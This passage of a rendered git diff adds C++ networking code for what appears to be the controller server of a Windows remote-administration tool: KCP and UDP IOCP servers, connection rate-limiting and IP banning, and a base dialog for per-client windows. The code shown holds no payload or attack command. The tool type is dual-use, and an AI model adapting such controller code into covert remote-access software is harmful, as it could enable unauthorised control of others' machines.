m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (m_socket == INVALID_SOCKET) return 2;
|
||||
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(uPort);
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
|
||||
|
||||
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
|
||||
if (!m_hIOCP) return 4;
|
||||
|
||||
m_running = true;
|
||||
|
||||
// 启动IOCP工作线程
|
||||
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
|
||||
((IOCPKCPServer*)param)->WorkerThread();
|
||||
return 0;
|
||||
}, this, 0, NULL);
|
||||
|
||||
// 启动KCP定时更新线程
|
||||
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
|
||||
|
||||
Mprintf("IOCPKCPServer StartServer: %p\n", this);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void IOCPKCPServer::WorkerThread()
|
||||
{
|
||||
char buf[1500];
|
||||
sockaddr_in clientAddr;
|
||||
int addrLen = sizeof(clientAddr);
|
||||
|
||||
while (m_running) {
|
||||
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
|
||||
if (ret > 0) {
|
||||
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
|
||||
if (ctx && ctx->kcp) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
ikcp_input(ctx->kcp, buf, ret);
|
||||
}
|
||||
|
||||
char recvbuf[4096];
|
||||
int n = 0;
|
||||
do {
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
|
||||
}
|
||||
if (n > 0&& m_notify) {
|
||||
memcpy(ctx->szBuffer, recvbuf, n);
|
||||
BOOL ret = ParseReceivedData(ctx, n, m_notify);
|
||||
}
|
||||
} while (n>0);
|
||||
}
|
||||
} else {
|
||||
DWORD err = WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
|
||||
// 打印错误或做其他处理
|
||||
}
|
||||
}
|
||||
}
|
||||
Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this);
|
||||
}
|
||||
|
||||
void IOCPKCPServer::KCPUpdateLoop()
|
||||
{
|
||||
while (m_running) {
|
||||
IUINT32 current = iclock();
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
CONTEXT_KCP* ctx = kv.second;
|
||||
if (ctx && ctx->kcp) {
|
||||
ikcp_update(ctx->kcp, current);
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||
{
|
||||
if (!ContextObject || !ContextObject->kcp) return FALSE;
|
||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
|
||||
return FALSE;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
|
||||
ikcp_send(ContextObject->kcp,
|
||||
(const char*)ContextObject->OutCompressedBuffer.GetBuffer(),
|
||||
(int)ContextObject->OutCompressedBuffer.GetBufferLength());
|
||||
ikcp_flush(ContextObject->kcp);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void IOCPKCPServer::Destroy()
|
||||
{
|
||||
Mprintf("IOCPKCPServer Destroy: %p\n", this);
|
||||
|
||||
m_running = false;
|
||||
|
||||
if (m_socket != INVALID_SOCKET) {
|
||||
closesocket(m_socket);
|
||||
m_socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (m_hThread) {
|
||||
WaitForSingleObject(m_hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hThread);
|
||||
m_hThread = NULL;
|
||||
}
|
||||
|
||||
if (m_kcpUpdateThread.joinable())
|
||||
m_kcpUpdateThread.join();
|
||||
|
||||
if (m_hIOCP) {
|
||||
SAFE_CLOSE_HANDLE(m_hIOCP);
|
||||
m_hIOCP = NULL;
|
||||
}
|
||||
|
||||
// 清理所有客户端
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
if (kv.second) {
|
||||
if (kv.second->kcp) {
|
||||
ikcp_release(kv.second->kcp);
|
||||
kv.second->kcp = nullptr;
|
||||
}
|
||||
delete kv.second;
|
||||
}
|
||||
}
|
||||
m_clients.clear();
|
||||
}
|
||||
|
||||
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx) return;
|
||||
|
||||
std::string key = ctx->GetPeerName();
|
||||
bool found = false;
|
||||
|
||||
// Step 1: Remove from m_clients while holding lock
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end() && it->second == ctx) {
|
||||
m_clients.erase(it);
|
||||
found = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2: Call offline callback WITHOUT holding m_contextsMutex
|
||||
// This prevents deadlock with UI thread holding m_cs and calling Send2Client
|
||||
if (found) {
|
||||
if (m_offline) m_offline(ctx);
|
||||
if (ctx->kcp) {
|
||||
ikcp_release(ctx->kcp);
|
||||
ctx->kcp = nullptr;
|
||||
}
|
||||
delete ctx;
|
||||
}
|
||||
}
|
||||
84
server/2015Remote/IOCPKCPServer.h
Normal file
84
server/2015Remote/IOCPKCPServer.h
Normal file
@@ -0,0 +1,84 @@
|
||||
#pragma once
|
||||
|
||||
#include "Server.h"
|
||||
|
||||
class CONTEXT_KCP : public CONTEXT_OBJECT
|
||||
{
|
||||
public:
|
||||
int addrLen = 0;
|
||||
sockaddr_in clientAddr = {};
|
||||
CONTEXT_KCP()
|
||||
{
|
||||
}
|
||||
virtual ~CONTEXT_KCP()
|
||||
{
|
||||
}
|
||||
std::string GetProtocol() const override
|
||||
{
|
||||
return "KCP";
|
||||
}
|
||||
VOID InitMember(SOCKET s, VOID* svr) override
|
||||
{
|
||||
CONTEXT_OBJECT::InitMember(s, svr);
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
void Destroy() override
|
||||
{
|
||||
}
|
||||
virtual std::string GetPeerName() const override
|
||||
{
|
||||
char client_ip[INET_ADDRSTRLEN];
|
||||
#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
|
||||
strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
|
||||
client_ip[INET_ADDRSTRLEN - 1] = '\0';
|
||||
#else
|
||||
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
|
||||
#endif
|
||||
return client_ip;
|
||||
}
|
||||
virtual int GetPort() const override
|
||||
{
|
||||
int client_port = ntohs(clientAddr.sin_port);
|
||||
return client_port;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPKCPServer : public Server
|
||||
{
|
||||
public:
|
||||
IOCPKCPServer() {}
|
||||
virtual ~IOCPKCPServer() {}
|
||||
|
||||
virtual int GetPort() const override
|
||||
{
|
||||
return m_port;
|
||||
}
|
||||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
virtual void Destroy() override;
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
|
||||
|
||||
private:
|
||||
SOCKET m_socket = INVALID_SOCKET;
|
||||
HANDLE m_hIOCP = NULL;
|
||||
HANDLE m_hThread = NULL;
|
||||
bool m_running = false;
|
||||
USHORT m_port = 0;
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
|
||||
std::mutex m_contextsMutex;
|
||||
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
|
||||
|
||||
std::thread m_kcpUpdateThread;
|
||||
|
||||
CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket);
|
||||
|
||||
void WorkerThread();
|
||||
|
||||
void KCPUpdateLoop();
|
||||
|
||||
static IUINT32 iclock();
|
||||
};
|
||||
1173
server/2015Remote/IOCPServer.cpp
Normal file
1173
server/2015Remote/IOCPServer.cpp
Normal file
File diff suppressed because it is too large
Load Diff
248
server/2015Remote/IOCPServer.h
Normal file
248
server/2015Remote/IOCPServer.h
Normal file
@@ -0,0 +1,248 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "Server.h"
|
||||
#include <Mstcpip.h>
|
||||
#include "LangManager.h"
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <string>
|
||||
|
||||
#define NC_CLIENT_CONNECT 0x0001
|
||||
#define NC_RECEIVE 0x0004
|
||||
#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收
|
||||
|
||||
// ZLIB 压缩库
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
inline int z_uncompress(z_stream* strm, Bytef* dest, uLongf* destLen, const Bytef* src, uLong srcLen)
|
||||
{
|
||||
inflateReset(strm);
|
||||
|
||||
strm->next_in = (Bytef*)src;
|
||||
strm->avail_in = srcLen;
|
||||
strm->next_out = dest;
|
||||
strm->avail_out = *destLen;
|
||||
|
||||
int ret = inflate(strm, Z_FINISH);
|
||||
|
||||
*destLen = strm->total_out;
|
||||
|
||||
if (ret == Z_STREAM_END) return Z_OK;
|
||||
return ret;
|
||||
}
|
||||
|
||||
class IOCPServer : public Server
|
||||
{
|
||||
protected:
|
||||
int m_nPort;
|
||||
SOCKET m_sListenSocket;
|
||||
HANDLE m_hCompletionPort;
|
||||
UINT m_ulMaxConnections;
|
||||
HANDLE m_hListenEvent;
|
||||
HANDLE m_hListenThread;
|
||||
BOOL m_bTimeToKill;
|
||||
HANDLE m_hKillEvent;
|
||||
ULONG m_ulThreadPoolMin;
|
||||
ULONG m_ulThreadPoolMax;
|
||||
ULONG m_ulCPULowThreadsHold;
|
||||
ULONG m_ulCPUHighThreadsHold;
|
||||
ULONG m_ulCurrentThread;
|
||||
ULONG m_ulBusyThread;
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
ULONG m_ulWorkThreadCount;
|
||||
CRITICAL_SECTION m_cs;
|
||||
ContextObjectList m_ContextConnectionList;
|
||||
ContextObjectList m_ContextFreePoolList;
|
||||
HWND m_hMainWnd = nullptr;
|
||||
|
||||
// IP 连接限流和封禁
|
||||
struct ConnectionInfo {
|
||||
int count; // 连接次数
|
||||
time_t windowStart; // 统计窗口起始时间
|
||||
};
|
||||
std::map<std::string, ConnectionInfo> m_ConnectionCount; // IP -> 连接统计
|
||||
std::map<std::string, time_t> m_BannedIPs; // IP -> 封禁到期时间
|
||||
CRITICAL_SECTION m_BanLock;
|
||||
// 白名单已移至 IPWhitelist 单例 (common/IPWhitelist.h)
|
||||
|
||||
bool IsIPBanned(const std::string& ip);
|
||||
bool IsIPBlacklisted(const std::string& ip);
|
||||
void RecordConnection(const std::string& ip);
|
||||
void BanIP(const std::string& ip, int seconds);
|
||||
void LoadIPWhitelist();
|
||||
void LoadIPBlacklist();
|
||||
|
||||
private:
|
||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
|
||||
BOOL InitializeIOCP(VOID);
|
||||
VOID OnAccept();
|
||||
PCONTEXT_OBJECT AllocateContext(SOCKET s);
|
||||
BOOL RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
|
||||
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
|
||||
BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
|
||||
int AddWorkThread(int n)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount += n;
|
||||
int ret = m_ulWorkThreadCount;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ret;
|
||||
}
|
||||
|
||||
public:
|
||||
IOCPServer(HWND hWnd = nullptr);
|
||||
~IOCPServer(void);
|
||||
int GetPort() const override
|
||||
{
|
||||
return m_nPort;
|
||||
}
|
||||
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override
|
||||
{
|
||||
return OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
||||
}
|
||||
|
||||
void UpdateMaxConnection(int maxConn);
|
||||
|
||||
void Destroy();
|
||||
void Disconnect(CONTEXT_OBJECT *ctx) {}
|
||||
};
|
||||
|
||||
typedef IOCPServer ISocketBase;
|
||||
|
||||
typedef IOCPServer CIOCPServer;
|
||||
|
||||
typedef CONTEXT_OBJECT ClientContext;
|
||||
|
||||
#define m_Socket sClientSocket
|
||||
#define m_DeCompressionBuffer InDeCompressedBuffer
|
||||
|
||||
// 所有动态创建的对话框的基类
|
||||
class CDialogBase : public CDialogLang
|
||||
{
|
||||
public:
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
Server* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
bool m_bIsClosed;
|
||||
bool m_bIsProcessing;
|
||||
HICON m_hIcon;
|
||||
BOOL m_bConnected;
|
||||
uint64_t m_ClientID = 0;
|
||||
uint64_t m_nDisconnectTime = 0;
|
||||
CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
||||
m_bIsClosed(false), m_bIsProcessing(false),
|
||||
m_ContextObject(pContext),
|
||||
m_iocpServer(pIOCPServer),
|
||||
CDialogLang(nIDTemplate, pParent)
|
||||
{
|
||||
m_bConnected = TRUE;
|
||||
m_nDisconnectTime = 0;
|
||||
m_IPAddress = pContext->GetPeerName().c_str();
|
||||
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
||||
}
|
||||
int UpdateContext(CONTEXT_OBJECT* pContext, uint64_t clientID)
|
||||
{
|
||||
if (m_bIsClosed) {
|
||||
Mprintf("%s SayByeBye: %llu [Already Closed]\n", ToPekingTimeAsString(0).c_str(), clientID);
|
||||
BYTE bToken = COMMAND_BYE;
|
||||
return m_ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223;
|
||||
}
|
||||
m_ClientID = clientID;
|
||||
m_bConnected = TRUE;
|
||||
m_nDisconnectTime = 0;
|
||||
m_ContextObject = pContext;
|
||||
m_iocpServer = pContext->GetServer();
|
||||
m_ContextObject->hDlg = this;
|
||||
m_ContextObject->hWnd = GetSafeHwnd();
|
||||
return 0;
|
||||
}
|
||||
virtual ~CDialogBase() {}
|
||||
|
||||
public:
|
||||
virtual BOOL ReceiveCommonMsg()
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_CLIENT_MSG: {
|
||||
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
|
||||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
virtual void OnReceiveComplete(void) = 0;
|
||||
// 标记为是否正在接受数据
|
||||
void MarkReceiving(bool recv = true)
|
||||
{
|
||||
m_bIsProcessing = recv;
|
||||
}
|
||||
bool IsProcessing() const
|
||||
{
|
||||
return m_bIsProcessing;
|
||||
}
|
||||
void OnClose()
|
||||
{
|
||||
m_bIsClosed = true;
|
||||
m_bConnected = FALSE;
|
||||
while (m_bIsProcessing)
|
||||
Sleep(200);
|
||||
if(m_hIcon) DestroyIcon(m_hIcon);
|
||||
m_hIcon = NULL;
|
||||
__super::OnClose();
|
||||
|
||||
if (GetSafeHwnd())
|
||||
DestroyWindow();
|
||||
}
|
||||
virtual void PostNcDestroy() override
|
||||
{
|
||||
delete this;
|
||||
}
|
||||
virtual BOOL ShouldReconnect()
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
// 取消 SOCKET 读取,该函数可以被多次调用
|
||||
void CancelIO()
|
||||
{
|
||||
m_bIsClosed = TRUE;
|
||||
|
||||
m_ContextObject->CancelIO();
|
||||
}
|
||||
BOOL IsClosed() const
|
||||
{
|
||||
return m_bIsClosed;
|
||||
}
|
||||
uint64_t GetClientID() const {
|
||||
return m_ClientID;
|
||||
}
|
||||
BOOL SayByeBye()
|
||||
{
|
||||
if (!m_bConnected) return FALSE;
|
||||
|
||||
Mprintf("%s SayByeBye: %s\n", ToPekingTimeAsString(0).c_str(), m_ContextObject->GetPeerName().c_str());
|
||||
BYTE bToken = COMMAND_BYE;
|
||||
return m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
};
|
||||
|
||||
typedef CDialogBase DialogBase;
|
||||
|
||||
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
|
||||
|
||||
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);
|
||||
182
server/2015Remote/IOCPUDPServer.cpp
Normal file
182
server/2015Remote/IOCPUDPServer.cpp
Normal file
@@ -0,0 +1,182 @@
|
||||
#include "stdafx.h"
|
||||
#include "IOCPUDPServer.h"
|
||||
#include <thread>
|
||||
#include <iostream>
|
||||
#include "IOCPServer.h"
|
||||
|
||||
IOCPUDPServer::IOCPUDPServer()
|
||||
{
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
}
|
||||
|
||||
IOCPUDPServer::~IOCPUDPServer()
|
||||
{
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||
{
|
||||
if (m_running) return 1;
|
||||
m_port = uPort;
|
||||
m_notify = NotifyProc;
|
||||
m_offline = OffProc;
|
||||
|
||||
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (m_socket == INVALID_SOCKET) return 2;
|
||||
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(uPort);
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
|
||||
|
||||
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
|
||||
if (!m_hIOCP) return 4;
|
||||
|
||||
m_running = true;
|
||||
|
||||
// 启动工作线程
|
||||
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
|
||||
((IOCPUDPServer*)param)->WorkerThread();
|
||||
return 0;
|
||||
}, this, 0, NULL);
|
||||
|
||||
// 提交多个初始接收
|
||||
for (int i = 0; i < 4; ++i)
|
||||
PostRecv();
|
||||
|
||||
return 0; // 成功
|
||||
}
|
||||
|
||||
void IOCPUDPServer::PostRecv()
|
||||
{
|
||||
if (!m_running) return;
|
||||
|
||||
IO_CONTEXT* ioCtx = AddCount();
|
||||
if (ioCtx == nullptr) {
|
||||
Mprintf("IOCPUDPServer max connection number reached.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
CONTEXT_UDP* ctx = ioCtx->pContext;
|
||||
ctx->wsaInBuf.buf = ctx->szBuffer;
|
||||
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
|
||||
|
||||
DWORD flags = 0;
|
||||
int err = WSARecvFrom(
|
||||
m_socket,
|
||||
&ctx->wsaInBuf,
|
||||
1,
|
||||
NULL,
|
||||
&flags,
|
||||
(sockaddr*)&ctx->clientAddr,
|
||||
&ctx->addrLen,
|
||||
&ioCtx->ol,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||
delete ioCtx;
|
||||
DelCount();
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPUDPServer::WorkerThread()
|
||||
{
|
||||
while (m_running) {
|
||||
DWORD bytes = 0;
|
||||
ULONG_PTR key = 0;
|
||||
LPOVERLAPPED pOverlapped = nullptr;
|
||||
|
||||
BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
|
||||
if (!ok) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||
if (pOverlapped) {
|
||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||
delete ioCtx;
|
||||
DelCount();
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (!pOverlapped) continue;
|
||||
|
||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||
CONTEXT_UDP* ctx = ioCtx->pContext;
|
||||
BOOL ret = ParseReceivedData(ctx, bytes, m_notify);
|
||||
if (999 != ret)
|
||||
ctx->Destroy();
|
||||
|
||||
// 释放
|
||||
ioCtx->pContext = NULL;
|
||||
delete ioCtx;
|
||||
DelCount();
|
||||
|
||||
PostRecv(); // 继续提交
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(m_hThread);
|
||||
m_hThread = NULL;
|
||||
}
|
||||
|
||||
BOOL IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||
{
|
||||
ContextObject->OutCompressedBuffer.ClearBuffer();
|
||||
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
|
||||
return FALSE;
|
||||
WSABUF buf = {
|
||||
ContextObject->OutCompressedBuffer.GetBufferLength(),
|
||||
(CHAR*)ContextObject->OutCompressedBuffer.GetBuffer(),
|
||||
};
|
||||
if (buf.len > 1200) {
|
||||
Mprintf("UDP large packet may lost: %d bytes\n", buf.len);
|
||||
}
|
||||
DWORD sent = 0;
|
||||
CONTEXT_UDP* ctx = (CONTEXT_UDP*)ContextObject;
|
||||
int err = WSASendTo(
|
||||
ContextObject->sClientSocket,
|
||||
&buf,
|
||||
1,
|
||||
&sent,
|
||||
0,
|
||||
(sockaddr*)&ctx->clientAddr,
|
||||
sizeof(sockaddr_in),
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (err == SOCKET_ERROR) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] Send2Client error: %d\n", err);
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID IOCPUDPServer::Destroy()
|
||||
{
|
||||
if (m_socket != INVALID_SOCKET) {
|
||||
CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求
|
||||
closesocket(m_socket);
|
||||
m_socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
while (GetCount())
|
||||
Sleep(200);
|
||||
|
||||
m_running = false;
|
||||
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出
|
||||
|
||||
if (m_hThread) {
|
||||
WaitForSingleObject(m_hThread, INFINITE);
|
||||
while (m_hThread)
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
if (m_hIOCP) {
|
||||
SAFE_CLOSE_HANDLE(m_hIOCP);
|
||||
m_hIOCP = NULL;
|
||||
}
|
||||
}
|
||||
80
server/2015Remote/IOCPUDPServer.h
Normal file
80
server/2015Remote/IOCPUDPServer.h
Normal file
@@ -0,0 +1,80 @@
|
||||
#pragma once
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <mswsock.h>
|
||||
#include "Server.h"
|
||||
|
||||
|
||||
class IOCPUDPServer : public Server
|
||||
{
|
||||
struct IO_CONTEXT {
|
||||
OVERLAPPED ol = {};
|
||||
CONTEXT_UDP* pContext = nullptr;
|
||||
IO_CONTEXT() : ol({}), pContext(new CONTEXT_UDP)
|
||||
{
|
||||
}
|
||||
~IO_CONTEXT()
|
||||
{
|
||||
SAFE_DELETE(pContext);
|
||||
}
|
||||
};
|
||||
public:
|
||||
IOCPUDPServer();
|
||||
~IOCPUDPServer();
|
||||
|
||||
int GetPort() const override
|
||||
{
|
||||
return m_port;
|
||||
}
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||
BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
VOID Destroy() override;
|
||||
virtual void UpdateMaxConnection(int maxConn) override
|
||||
{
|
||||
m_locker.lock();
|
||||
m_maxConn = maxConn;
|
||||
m_locker.unlock();
|
||||
}
|
||||
|
||||
private:
|
||||
void WorkerThread();
|
||||
void PostRecv();
|
||||
IO_CONTEXT* AddCount()
|
||||
{
|
||||
m_locker.lock();
|
||||
if (m_count > m_maxConn) {
|
||||
m_locker.unlock();
|
||||
return nullptr;
|
||||
}
|
||||
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
||||
ioCtx->pContext->InitMember(m_socket, this);
|
||||
m_count++;
|
||||
m_locker.unlock();
|
||||
return ioCtx;
|
||||
}
|
||||
void DelCount()
|
||||
{
|
||||
m_locker.lock();
|
||||
m_count--;
|
||||
m_locker.unlock();
|
||||
}
|
||||
int GetCount()
|
||||
{
|
||||
m_locker.lock();
|
||||
int n = m_count;
|
||||
m_locker.unlock();
|
||||
return n;
|
||||
}
|
||||
private:
|
||||
int m_maxConn = 10000;
|
||||
int m_port = 6543;
|
||||
int m_count = 0;
|
||||
CLocker m_locker;
|
||||
SOCKET m_socket = INVALID_SOCKET;
|
||||
HANDLE m_hIOCP = NULL;
|
||||
HANDLE m_hThread = NULL;
|
||||
bool m_running = false;
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
};
|
||||
110
server/2015Remote/IPHistoryDlg.cpp
Normal file
110
server/2015Remote/IPHistoryDlg.cpp
Normal file
@@ -0,0 +1,110 @@
|
||||
// IPHistoryDlg.cpp - IP 历史记录对话框实现
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "IPHistoryDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
CIPHistoryDlg::CIPHistoryDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_IP_HISTORY, pParent)
|
||||
, m_nRemovedCount(0)
|
||||
{
|
||||
}
|
||||
|
||||
CIPHistoryDlg::~CIPHistoryDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CIPHistoryDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_IP_HISTORY, m_ListBox);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CIPHistoryDlg, CDialogLangEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CIPHistoryDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 设置标题
|
||||
if (!m_strTitle.IsEmpty()) {
|
||||
SetWindowText(m_strTitle);
|
||||
}
|
||||
|
||||
// 多语言
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
|
||||
// 填充列表
|
||||
PopulateList();
|
||||
|
||||
// 设置摘要
|
||||
CString summary;
|
||||
if (m_nRemovedCount > 0) {
|
||||
summary.Format(_TR("共 %d 条记录(已清理 %d 条过期记录)"),
|
||||
(int)m_Records.size(), m_nRemovedCount);
|
||||
} else {
|
||||
summary.Format(_TR("共 %d 条记录"), (int)m_Records.size());
|
||||
}
|
||||
SetDlgItemText(IDC_STATIC_IP_SUMMARY, summary);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CIPHistoryDlg::PopulateList()
|
||||
{
|
||||
